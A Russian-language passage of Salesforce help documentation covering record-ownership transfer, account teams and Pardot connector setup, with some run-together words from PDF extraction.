Прим.: Вы можете вводить или выбирать только тех пользователей, которые
имеют полномочие быть ответственным за запись. Группы «Пользователь» и
«Ролиивнутренниеподчиненныероли» несодержатпользователейклиентского
портала или пользователей-партнеров.

3. Чтобы отправить уведомление новому ответственному, установите флажок
«Отправить электронное уведомление».

Адрес эл. почты отправителя, отображающийся в уведомлении, — это обратный
адрес, указанный в параметрах эл. почты.

В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition текст сообщения
эл. почты, связанного с обращением, определяется параметром «Шаблон назначения обращения», настроеннымна
странице «Параметрыподдержки». Текстсообщенияэл. почты, связанногосдругимизаписями, создаетсяавтоматически
и не может быть настроен.

4. Ниже перечислены параметры, доступность которых определяется типом переносимого объекта и полномочиями
пользователя.

Отображается для...ОписаниеКнопка-флажок

Организации и интересы в
поле «Salesforce Classic», если

Перенос записивподразделениеновогоответственного.
Все записи, связанныесорганизацией, такжепереносятся
в новое подразделение.

Изменить подразделение

вы можете просматривать
или изменять поле
«Подразделение».

Организации в Lightning
Experience

Организации в Salesforce
Classic

Перенос открытых возможностей, принадлежащих
другим пользователям, связанным с организацией.

Перенос открытых
возможностей, которые не
принадлежат текущему
ответственному за
организацию, или Перенос
открытых возможностей,
которые не принадлежат
вам
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Отображается для...ОписаниеКнопка-флажок

Организации в Salesforce
Classic

Перенос закрытых возможностей, связанных с
организацией. Данный параметр применяется только к
закрытым возможностям, которые принадлежат

Перенос закрытых
возможностей

ответственному за организацию; закрытые возможности
других пользователей не изменяются.

Организации в Salesforce
Classic

Перенос любых открытых обращений, связанных с
организацией и принадлежащих текущему
ответственному за организацию.

Перенос открытых
обращений,
принадлежащих текущему
ответственному за
организацию

Организации в Salesforce
Classic

Переносзакрытыхобращений, связанныхсорганизацией.
Данный параметр применяется только к закрытым
обращениям, которые принадлежат ответственному за

Перенос закрытых
обращений

организацию; закрытыеобращениядругихпользователей
не изменяются.

Организации в Salesforce
Classic

Перенос всех участников группы, работающей с
организациями, в организацию нового ответственного.

Сохранить группу,
работающую с
организациями

Организации в Salesforce
Classic

Возможности в Salesforce
Classic

Сохранение группы, работающей с возможностями, при
переносе возможности новому ответственному. Доли
возможности сохраняются, а проценты долей,
назначенные предыдущему ответственному, передаются
новому ответственному.В случае отсутствия данного

Сохранить группу,
работающую с
возможностями

флажка все участники группы, работающей с
возможностями, и доли удаляются при переносе
возможности.

Прим.: При переносе закрытых возможностей
группа, работающаяс возможностями, сохраняется
независимо от данного параметра.

Прим.: Если для изменяемого ответственного за организацию сняты оба флажка («Перенос закрытых
возможностей» и «Сохранить группу, работающую с возможностями»), тоуровнюдоступаучастниковрабочей
группы к закрытым возможностям присваивается значение «Личный» (другими словами, участники группы,
работающей с возможностями, теряют доступ ко всем закрытым возможностям).

5. Сохраните внесенные изменения.

Пример: Если предыдущий ответственный не является участником группы, работающей с организациями или
возможностями, топрисменеответственностиданномупользователюназначаются стандартныепараметрыобщего
доступа. Например, если предыдущий ответственный за организацию является участником группы, работающей с
организациями, то этому пользователю предоставляется полномочие «Только для чтения» или уровень доступа,
заданный в единых стандартных параметрах для организаций (в зависимости от того, какой уровень доступа выше).
Уровень доступа предыдущего ответственного к связанным записям сохраняется. Данный алгоритм выполняется
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для ответственных за возможности, которые являются участниками группы, работающей с возможностями, только
в том случае, если ответственность изменяется посредством API. При смене ответственного за возможность система
Salesforce позволяет выбрать желаемый уровень доступа.

СМ. ТАКЖЕ:

Перенос связанных элементов

Перенос связанных элементов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приизмененииответственного за записьнекоторые связанные записимогут такжебыть
переданы новому ответственному.

Важное замечание: Бизнес-правила, которые обновляют ответственных, не
передают связанные элементы. Чтобы выполнить перенос, щелкните ссылку
«Изменить» напротив имени ответственного в записи и выберите параметры
переноса.

Связанные элементы для переносаТип записи

Контакты, контракты со статусом «Черновик», вложения,
примечания, открытыедействияи заказысо статусом «Черновик»,
связанные с переносимым контрактом или не связанные с
контрактом. Взависимостиотвыбранныхпараметров, связанные
элементымогуттакжевключать: открытыевозможности, которые

Организации

не принадлежат текущему ответственному за организацию;
закрытые возможности; открытые обращения, принадлежащие
текущемуответственномузаорганизацию; закрытыеобращения.

Пользователи-партнеры, связанные с переносимой
организацией-партнером, перемещаются в иерархии ролей на
уровень ниже нового ответственного.

Контракты и заказы со статусом «Активировано» не передаются
новому ответственному и доступны ему только для чтения.

Примечания, вложения и открытые действия.Контакты

Открытые задачи и будущие события (не применяется при
назначении ответственности очереди).

Заказы

Примечания, вложения и открытые действия.Возможности

Примечания, вложенияиоткрытыедействия. Открытыедействия
не передаются в том случае, если ответственность за интерес

Интересы

меняется посредством флажка «Назначить с помощью
активного правила назначения».

Примечания, вложения и открытые действия.Обращения

Вложения и открытые действия.Кампании
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Связанные элементы для переносаТип записи

Примечания, вложения, открытые действия и заказы со статусом «Черновик».Контракты

Примечания, вложения и открытые действия.Настраиваемые объекты

Прим.: События, на которые пользователь приглашен и которые ему не принадлежат, не могут быть перенесены.

СМ. ТАКЖЕ:

Изменение ответственного за запись

Поиск информации, связанной с организациями (связанные списки)

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для организацийДля просмотра организаций:

«Редактирование» для организацийДля редактированияорганизаций-компаний:

«Редактирование» для организаций и
контактов

Для редактирования организаций-лиц:

“Управление внешними пользователями»Для включения организаций-партнеров:

«Редактирование» для организаций

И

“Управление внешними пользователями»

Для отключения организаций-партнеров:

«Редактирование» для организаций

И

«Редактирование пользователей портала
самообслуживания»

Для отключения организаций клиентского
портала:

Связанные списки (например, список «Возможности») содержат сведения, связанные с
организацией.

• Чтобы просмотреть соответствующий связанный список и его записи, наведите указатель мыши на нужную ссылку
в верхней части страницы сведений. Если включена поддержка Chatter, то всплывающие ссылки отображаются под
лентой. Интерактивнаяобластьналоженияпозволяетпользователямпросматриватьиуправлятьэлементамисвязанного
списка. Чтобы перейти к содержимому связанного списка, щелкните соответствующую ссылку. Если всплывающие
ссылки недоступны, обратитесь к администратору Salesforce.

• Если в организации включена поддержка всплывающих сведений, наведите указатель мыши на любое поле поиска
страницы сведений, чтобы просмотреть ключевую информациюо записи до открытия соответствующей страницы
сведений.
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• Чтобыдобавитьновыеэлементынапрямую, нажмитекнопку «Создать» (илидругуюэквивалентнуюкнопку) в верхней
части связанного списка. Например, чтобы добавить новую задачу, нажмите кнопку «Создать задачу» в связанном
списке «Открытые действия».

• Чтобы изменить количество записей, отображаемых в связанных списках, нажмите кнопку «Подробнее»,
расположеннуюпод связаннымсписком, либощелкните ссылку «меньше»или «больше» в нижнейчасти страницы.

• Если связанные записи, принадлежащие пользователям портала, не отображаются, обратитесь к администратору
Salesforce.

Просмотр связанных списков
Ниже перечислены критерии, определяющие доступные связанные списки.

• Используемая версия Salesforce

• Использование Salesforce Classic или Lightning Experience

• Тип просматриваемой организации (лицо или компания)

• Личные настройки

• Настройки макета страницы, установленные администратором Salesforce

• Ваши полномочия на просмотр связанных данных

СМ. ТАКЖЕ:

Организации

Совместная работа над организациями

Группы, работающие с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Группа, работающаясорганизациями, — это группапользователей, которые совместно
работают над организацией. Например, группа, работающая с организациями, может
включать руководителя проекта, менеджера проекта и специалиста службы поддержки.
Сотрудничество с такими группами упрощает контроль совместной работы над
организациями.

Группы, работающие с организациями, отличаются от групп, работающих с
потенциальными клиентами, даже если их члены играют одинаковые роли.

Группа, работающая с организациями, может быть создана для каждой собственной
организации. Каждомуучастникурабочейгруппыдолжнабытьназначенароль, которая
определяет егофункции в отношении данной организации. Кроме того, в зависимости
от модели общего доступа каждому участнику рабочей группы может быть назначен
уровень доступа к организации и любым связанным контактам, потенциальным клиентам или обращениям. Так, одним
участникам рабочей группы может быть предоставлен доступ только для чтения, а другим — для чтения и записи.

Возможно создание стандартных групп, работающих с организациями, включающих лиц, с которыми текущий
пользователь обычноработает над своимиорганизациями. Можно автоматическидобавлять такуюстандартнуюгруппу,
работающую с организациями, ко всем вашим организациям.

Настраиваемое списковое представление позволяет фильтровать списки организаций по группам, работающим с
организациями, участникомкоторыхявляется текущийпользователь. Присозданииилиредактированиинастраиваемого
спискового представления организаций выберитефильтр «Мои группы, работающие с организациями».Отчеты по
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организациям позволяют фильтровать организации по группам, работающим с организациями, участником которых
является текущий пользователь.

СМ. ТАКЖЕ:

Настройка групп, работающих с организациями

Настройка стандартных групп, работающих с организациями

Организации

Настройка групп, работающих с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения групп,
работающих с
организациями:
• «Настройка

приложения»

Для настройки ролей
рабочей группы:
• «Настройка

приложения»

Пользователимогут добавлять участниковрабочей группыворганизации. Аналогично
группам, работающим с возможностями, группы, работающие с организациями, — это
совокупность пользователей, работающих совместно над организациями.

Чтобы перейти на страницу, введите строку «Группы, работающие с организациями» в
поле «Быстрый поиск» вменю «Настройка» ивыберитепункт «Группы, работающие
с организациями». Ниже перечислены действия, доступные на странице «Настройка
группы, работающей с организациями».

Определение ролей рабочей группы

Каждому участникурабочей группыназначаетсяроль в даннойорганизации (например,
«Менеджер по работе с клиентами» или «Менеджер проектов»). При необходимости
настройте роли группы, работающей с организациями.

1. Щелкните «Роли рабочей группы».

2. Измените текущие записи или добавьте новые элементы.

3. Нажмите кнопку «Сохранить».

Замена ролей рабочей группы

Чтобы глобально заменить значения раскрывающегося списка во всех текущих записях
(приизмененииролейрабочейгруппы), щелкните«Заменитьролирабочейгруппы».

Прим.: Группы, работающиесорганизациями, используюттежероли, что группы,
работающие с возможностями. Удаление роли группы, работающей с
организациями, инициирует удаление данной роли для группы, работающей с
возможностями.

Включение или отключение групп, работающих с организациями

Чтобы включить или отключить группы, работающие с организациями, выполните указанные ниже действия.

1. Щелкните «Включить группы, работающие с организациями» или «Отключить группы, работающие с
организациями».

2. Установите или снимите флажок «Группы, работающие с организациями, включены» и нажмите кнопку
«Сохранить». Включение групп, работающих с организациями, предоставляет пользователям доступ к созданию и
использованию групп, работающих с организациями.
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3. При включении групп, работающих с организациями, выберите макеты страниц организаций, которые должны
содержать новый связанный список «Группа, работающая с организациями», и нажмите кнопку «Сохранить».

Прим.: Отключение групп, работающих с организациями, инициирует удаление всех рабочих групп из всех
организаций и связанного списка «Группа, работающая с организациями» из всех макетов страниц.

Кроме того, группы, работающие с организациями, не могут быть отключены, если код Apex ссылается на их
участников. Например, если код Apex ссылается на поле «Участник рабочей группы»  (представлено в коде как
AccountTeamMember), то группы, работающие с организациями, не могут быть отключены.

СМ. ТАКЖЕ:

Группы, работающие с организациями

Настройка стандартных групп, работающих с организациями

Настройка стандартных групп, работающих с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартной
группы, работающей с
организациями:
• «Чтение» для

возможностей

Для добавления
стандартных групп в
организации:
• «Чтение» для

организаций

И

Ответственный за
запись организации или
вышестоящий
ответственный в
иерархии ролей

Группы, работающие с организациями, отличаются от групп, работающих с
потенциальными клиентами, даже если их члены играют одинаковые роли.

Добавление участников стандартной группы, работающей с организациями

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмитекнопку«Добавить» в связанномсписке «Стандартная группа, работающая
с организациями».

3. Выберите нужных пользователей.

4. Выберитеуровеньдоступакаждогоучастникакорганизациямисвязаннымконтактам,
возможностям и обращениям.

5. Выберитеролькаждогоучастникав группе, работающейсорганизациями (например,
«Менеджер канала распределения»).

6. Чтобы добавить стандартную рабочую группу во все созданные или перенесенные
организации, установите флажок «Автоматически добавлять мою стандартную
группу, работающую с организациями...».

7. Чтобы применить изменения, внесенные в стандартную рабочую группу, ко всем
текущим организациям, установите флажок «Обновить группы, работающие с
организациями...».

8. Нажмите кнопку «Сохранить».

Редактирование и удаление участников стандартной группы, работающей с
организациями

Чтобы изменить уровень доступа или роль участника стандартной рабочей группы,
щелкните ссылку «Правка»напротивименинужногопользователя в связанномсписке
«Стандартная группа, работающая с организациями».
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Чтобыудалитьпользователяиз стандартнойгруппы, работающейсорганизациями, выполните указанныенижедействия.

1. Щелкнитессылку«Удал.»напротивименинужногопользователявсвязанномсписке «Стандартнаягруппа, работающая
с организациями».

2. Чтобы удалить пользователя из текущих групп, работающих с организациями, установите флажок «Удалить этого
пользователя...».

3. Для завершения нажмите кнопку «Удалить».

Чтобыизменитьилиудалитьучастникастандартнойрабочейгруппыдляконкретнойорганизации, перейдитексвязанному
списку организации «Группа, работающая с организациями».

СМ. ТАКЖЕ:

Группы, работающие с организациями

Настройка групп, работающих с организациями

Индивидуальная настройка системы Salesforce

Добавление участников группы, работающей с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления участников
рабочей группы в
организацию:
• «Чтение» для

пользователей

И

«Редактирование» для
организаций

Для просмотра организаций
как участников рабочей
группы:
• «Чтение» для

организаций

Ответственный за запись организации или вышестоящий пользователь в иерархии
ролей, которомуорганизациядоступнадлячтения, можетдобавлять участниковрабочей
группы, но не может их редактировать. При наличии доступа для редактирования
организации пользователь может редактировать и удалять участников рабочей группы.

Пользователь, который не является ответственным за запись организации, может
добавлятьучастниковрабочейгруппытолькоприналичиидоступадляредактирования
записи.

Более высокий уровень доступа к записи может быть предоставлен участнику рабочей
группытолькоответственнымза записьорганизациииливышестоящимответственным
в иерархии ролей.

Прим.: Параметры «Доступ к организации», «Доступ к контакту», «Доступ к
возможности» и «Доступ к обращению» зависят от модели общего доступа.
Модель общего доступа «Общедоступный» поддерживает только один параметр.
Параметр «Доступ к контакту» недоступен в том случае, если единому
стандартному параметру для контактов задано значение «Контролируется
родительскимобъектом».Независимоотуровняобщегодоступа, участникигруппы,
работающей с организациями, должны иметь полномочие «Чтение» для
организаций, чтобы просматривать организации, в которых они представлены в
качестве участников.

Чтобы создать группу, работающую с организациями, выберите нужную организацию
идобавьте в нее участников рабочей группы. Пользователимассового портала не могут
быть добавлены в рабочие группы.

1. Откройте страницу сведений об организации.

2. Нажмите кнопку «Добавить» в связанном списке «Группа, работающая с
организациями».

3. Выберите нужных пользователей. Чтобы добавить стандартную рабочую группу в
организацию, нажмитекнопку «Добавитьстандартнуюрабочуюгруппу» в связанномсписке «Группа, работающая
с организациями». Чтобы добавить всех участников группы, работающей с организациями, в возможность, нажмите
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кнопку «Добавитьгруппу, работающуюсорганизациями» в связанномспискевозможности «Группа, работающая
с возможностями».

4. Выберите уровень доступа каждого участника к связанным записям организации. Данный уровень доступа должен
быть более строгим, чем стандартный уровень доступа к организациям.

5. Выберите роль каждого участника в рабочей группе.

6. Нажмите кнопку «Сохранить».

Совет: Настраиваемое списковое представление позволяет фильтровать списки организаций по группам,
работающимсорганизациями, участникомкоторых является текущийпользователь. When creating or editing a custom
list view for accounts, select the My Account Teams  filter. In account reports, you can filter accounts by the account teams
in which you are a member.

Редактирование участников группы, работающей с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра организаций
как участников рабочей
группы:
• «Чтение» для

организаций

Для редактирования
участников рабочей группы:
• «Чтение» для

пользователей

И

«Редактирование» для
организаций

И

Ответственный за
запись организации или
вышестоящий
ответственный в
иерархии ролей

Пользователь, несущий ответственность или имеющий доступ к организации, может
изменить уровень доступа и роль любого участника.

Прим.: Еслипользователь является участникомстандартнойгруппы, работающей
с организациями, то изменения некоторых его свойств влияют только на
соответствующую организацию. Настройки стандартной группы, работающей с
организациями, не меняются.

Более высокий уровень доступа к записи может быть предоставлен участнику рабочей
группытолькоответственнымза записьорганизациииливышестоящимответственным
в иерархии ролей.

1. Откройте страницу сведений об организации.

2. Чтобыдобавитьучастниковрабочей группы, щелкните «Добавить»или «Добавить
стандартную рабочую группу» в связанном списке «Группа, работающая с
организациями».

3. Чтобы изменить уровень доступа участника рабочей группы, щелкните ссылку
«Правка» напротив имени нужного участника и выберите другой уровень доступа
для организации и связанных с ней контактов, возможностей и обращений.

4. Чтобы изменить роль участника рабочей группы, щелкните ссылку «Правка»
напротив имени нужного участника и выберите другую роль.

5. Нажмите кнопку «Сохранить».

Совет: Чтобы просмотреть параметры единого общего доступа, связанные с
организациями, нажмитекнопку «Показатьдоступ» в связанномсписке «Группы,
работающиесорганизациями». Данныепараметрыпозволяютрасширитьуровень
доступа, предоставленный при добавлении пользователя в группу, работающую
с организациями. Например, значение «Для чтения и записи», выбранное в
параметре единого общего доступа компании к организациям, переопределяет
значение «Только для чтения», выбранное для отдельного участника группы,
работающей с организациями. Параметр «Доступ к контакту» недоступен, если
единому стандартному параметру контактов задано значение «Контролируется
родительским объектом».
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Удаление участников группы, работающей с организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для удаления участников
рабочей группы:
• «Чтение» для

пользователей

И

«Редактирование» для
организаций

И

Ответственный за
запись организации или
вышестоящий
ответственный в
иерархии ролей

Пользователи могут удалять любых участников из собственных групп, работающих с
организациями.

1. Откройте страницу сведений об организации.

2. Щелкните ссылку «Удал.» напротив имени нужного участника в связанном списке
«Группа, работающая с организациями».

Чтобы удалить всех участников рабочей группы, нажмите кнопку «Удалить все».

3. Чтобы удалить пользователя из групп, работающих с открытыми возможностями и
связанных с организацией, установите флажок «Удалить».

4. Для завершения нажмите кнопку «Удалить».

СМ. ТАКЖЕ:

Группы, работающие с организациями
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Синхронизация потенциальных клиентов, контактов и интересов посредством Pardot

Начало работы с коннектором Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Недавно созданные потенциальные клиенты, контакты и интересы могут
синхронизироваться между Pardot и Salesforce. Кроме того, сообщения эл. почты Pardot,
отправленные потенциальным клиентам, могут синхронизироваться как действия
Salesforce.

Коннектор Salesforce — это сертифицированное решение AppExchange, позволяющее
систематизировать разрозненные маркетинговые каналы из Pardot.

Синхронизация записей между Pardot и Salesforce выполняется как минимум каждые
10 минут. Процесс синхронизации обрабатывает не более 800 записей каждые 10 минут
и 4 800 записей каждый час.

Настройка коннектора Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте коннектор Salesforce для производственных или безопасных сред.

Выберите нужное условие.

Рекомендуемый разделУсловие

Настройка коннектора для синхронизации с
производственными или безопасными
средами

Первоначальнаянастройка коннектора
дляпроизводственнойилибезопасной
среды

Настройка коннектора для синхронизации с
безопасными средами

Настройка коннектора для безопасной
среды помимо текущего коннектора,
настроенного для производственной
среды

Подготовка системы Salesforce для подключения к Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы подготовить систему Salesforce для подключения и синхронизации с Pardot,
установите пакет AppExchange.

Пакет, загруженныйизкаталогаAppExchange, автоматическидополняет систему Salesforce
настраиваемымприложениеминастраиваемойвкладкой, атакженастраиваемымиполями
интересов и контактов. После установки пакета система отображает настраиваемую
вкладку для приложения LeadDeck. Помните, что настраиваемые поля интересов и
контактов могут отображаться после дополнительной настройки. Данный алгоритм
позволяет группам сбыта быстро синхронизировать данные между Pardot и Salesforce.
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Рекомендуемые действия

Область установки
пакета Pardot из
каталога
AppExchange

Производственная
среда

1. Откройте пакет Pardot из каталога AppExchange для производственных сред.

2. Чтобы установить пакет, щелкните «Продолжить».

3. Введите имя пользователя и пароль для производственной среды при отображении
соответствующего запроса.

4. Просмотрите действия и щелкните «Развернуть» для завершения установки.

5. Чтобы получить полномочия для чтения объекта ObjectChangeLogs, обратитесь к
администратору Salesforce.

Безопасная среда 1. Выполните выход из системы Salesforce.

2. Откройте пакет Pardot из каталога AppExchange для безопасных сред.

3. Введите имя пользователя и пароль для безопасной среды при отображении
соответствующего запроса.

4. Чтобы установить пакет, щелкните «Продолжить».

5. Просмотрите действия и щелкните «Развернуть» для завершения установки.

6. Чтобы получить полномочия для чтения объекта ObjectChangeLogs, обратитесь к
администратору Salesforce.

Настройка коннектора для синхронизации с производственными или безопасными средами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте коннектор Salesforce для синхронизации данных между Pardot и
производственной или безопасной средой Salesforce.

Выполнитеуказанныенижедействиядляпервоначальнойнастройкиконнектора. Прежде
чем начать работу, убедитесь в наличии прав администратора в системе Salesforce.

1. В меню «Настройка» приложения Salesforce введите строку «Доступ к сети» в поле
«Быстрый доступ» и выберите «Доступ к сети».

2. Создайте диапазоны надежных IP-адресов ниже.

Конечный IP-адресНачальный IP-адрес

67.228.95.14567.228.95.145

67.228.168.14167.228.168.139

67.228.223.10767.228.223.106
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Добавление коннектора в Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записей:
• «Создание»,

«Обновление» и
«Чтение» для контактов
и интересов

Параметры коннектора могут добавляться и управляться прямо в Pardot.

При наличии прав администратора в системе Salesforce выполните указанные ниже
действия для первоначальной настройки коннектора.

1. Откройте Pardot, наведитеуказательмышинаменю«Администрировать»ивыберите
пункт «Коннекторы».

2. Щелкните «+ Добавить коннектор».

3. Выберите «Salesforce».

4. Введите имя коннектора.

Рекомендуемиспользоватьимя, позволяющеебыстроопределятьнужныйконнектор.

Пример: «Коннектор Salesforce».

5. Введите имя пользователя и пароль Salesforce.

Помните, что при изменении пароля пользователя Salesforce требуется обновление
пароля Salesforce для коннектора.

Параметрыдлянастройкиконнектора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте коннектор на основе текущих требований.

Чтобы настроить коннектор, воспользуйтесь параметрами ниже.

ОписаниеПараметр

Данный параметр включает триггер, позволяющий выбирать
любые недавно созданные интересы или контакты Salesforce
для синхронизации с Pardot. Данный алгоритм не будет
выполняться для архивных интересов или контактов (только
для записей, созданных после установки пакета Pardot из
каталога AppExchange в системе Salesforce) и будет доступен
только для интересов и контактов, созданных посредством
адреса эл. почты.

При включении данной функции позже все интересы и
контакты с адресами эл. почты, созданные после установки

Автоматически
создавать
потенциальных
клиентов в Pardot при
их созданиив системе
Salesforce

пакета Pardot в системе Salesforce, будут переданы в Pardot. Для
любого потенциального клиента, созданного посредством
данного параметра, рекомендуем выбрать стандартную
кампанию.
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ОписаниеПараметр

Данный параметр автоматически обновляет адреса эл. почты для потенциальных
клиентов Pardot при обновлении адреса эл. почты интереса или контакта в системе
Salesforce.

Дополнительную информацию о синхронизации обновлений адресов эл. почты см.
вразделе «Общиесведенияобобновлениях адресов эл. почтымежду Salesforceи Pardot».

Автоматически изменять
сообщения эл. почты в Pardot
для отображения изменений в
системе Salesforce

Данный параметр позволяет отправлять сообщения эл. почты из любых полей
пользователей (например, контакты службы поддержки и менеджеры по работе с
клиентами).

Дополнительнуюинформациюонастройке даннойфункциисм. в разделе «Отправка
сообщений эл. почты из системы Salesforce».

Автоматически сопоставлять
пользователей Salesforce с
пользователями Pardot

Данныйпараметрпрепятствуетотображениюпользователейпартнерскихиклиентских
порталов Salesforce в раскрывающемся списке «Имя пользователя CRM-системы» при
редактировании пользователя в Pardot.

Исключить пользователей
партнерских и клиентских
порталов Salesforce из
назначения потенциального
клиента

Данный параметр позволяет пользователям добавлять и удалять потенциальных
клиентов Pardot в системе Salesforce. При установке данного флажка рекомендуем
добавить элементы Visualforce в макеты страниц интересов и контактов.

Разрешить редактирование
списков потенциальных
клиентов в CRM-системе

Данный параметр позволяет пользователям подключаться к безопасной среде.Подключить к организации
безопасной среды Salesforce

Данный параметр автоматически регистрирует действие для каждого сообщения эл.
почты, отправленного потенциальному клиенту.

Синхронизироватьсообщения
эл. почты с CRM-системой

Прим.: Данныйалгоритмпозволяетбыстрозаполнятьпредставлениядействий,
особенно для объекта организации. Выключение параметра «Регистрация
сообщений эл. почты в Pardot» является необратимым. Если регистрация
сообщений эл. почты может препятствовать выполнению бизнес-процессов в
системе Salesforce, то данный параметр должен оставаться выключенным.

Данный параметр регистрирует действие для сообщений эл. почты, отправляемых
посредством Pardot for Microsoft® Outlook®, расширения Thunderbird, модуля Apple Mail
или надстройки Gmail.

Синхронизироватьсообщения
эл. почты модуля с
CRM-системой

Данный параметр позволяет отправлять пользователям электронное уведомление о
создании задачи.

Включить сообщения эл.
почты Salesforce для создания
задач

Данныйпараметрпозволяет системе Salesforceотправлятьпользователямэлектронное
уведомление о выполнении правил назначения.

Включить сообщения эл.
почты Salesforce для правил
назначения

Данныйпараметрпозволяет системе Salesforceотправлятьпользователямэлектронное
уведомление о выполнении назначения для пользователя или очереди.

Включить сообщения эл.
почты Salesforce для
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ОписаниеПараметр

назначений пользователя и
очереди

Настройка коннектора для синхронизации с безопасными средами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте коннектор Salesforce для синхронизации данных между Pardot и безопасной
средой Salesforce.

ЧтобынастроитьконнектордлябезопаснойсредывзаментекущегоконнектораSalesforce,
настроенного для производственной среды, выполните указанные ниже действия.

1. Откройте Pardot, наведитеуказательмышинаменю«Администрировать»ивыберите
пункт «Коннекторы».

2. Щелкните значок в строке нужного коннектора Salesforce и выберите пункт
«Правка».

3. Добавьтекомпонент .NSPARDOT кименипользователявполе «Имя пользователя».

(Пример: elena.ivanova@pardot.com.NSPARDOT)

4. Если пароль для безопасной среды отличается от пароля для производственной среды, заполните поле «Пароль»
паролем для безопасной среды.

5. Выберите параметр «Подключить к организации безопасной среды Salesforce».

Отображениеконнекторадлябезопаснойсредыобусловленотем, чтобезопаснаясредаявляетсякопиейпроизводственной
организации Salesforce.

Добавление IP-адресов Pardot в список разрешенных в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте IP-адреса Pardot в системе Salesforce для обмена данными между Pardot и
Salesforce.

Выполнитеуказанныенижедействиядляпервоначальнойнастройкиконнектора. Прежде
чем начать работу, убедитесь в наличии прав администратора в системе Salesforce.

1. В меню «Настройка» приложения Salesforce введите строку «Доступ к сети» в поле
«Быстрый доступ» и выберите «Доступ к сети».

2. Создайте диапазоны надежных IP-адресов ниже.

Конечный IP-адресНачальный IP-адрес

67.228.95.14567.228.95.145

67.228.168.14167.228.168.139

67.228.223.10767.228.223.106
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Включение коннектора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы начать синхронизациюмежду Pardot и Salesforce, включите коннектор Salesforce.

1. Откройте Pardot, наведитеуказательмышинаменю«Администрировать»ивыберите
пункт «Коннекторы».

2. Щелкните «Проверить!» в строке нужного коннектора Salesforce.
Если Pardot поддерживает отправку и получение данных из системы Salesforce, то

отображается статус .

Соотнесение настраиваемых полей интересов с полями контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Соотнесениенастраиваемыхполеймеждудвумя типамизаписейпозволяет эффективно
использовать контакты, созданные из преобразованных интересов.

Коннектор создает интересы Salesforce из потенциальных клиентов Pardot. Однако, при
преобразовании данных интересов Salesforce в контакты отображаются только
стандартные поля контактов для недавно преобразованных контактов. Соотнесение
настраиваемых полей между интересами и контактами позволяет просматривать всю
информацию, необходимую для принятия мер по организации маркетинга и продаж.

1. В разделе настроек управления объектами для интересов перейдите в раздел полей,
затем щелкните <b>«Соотнесение полей интересов»</b>.

2. Выберите соответствующее настраиваемое поле организации, контакта или
возможности для каждого настраиваемого поля интереса.

3. Нажмите кнопку «Сохранить».

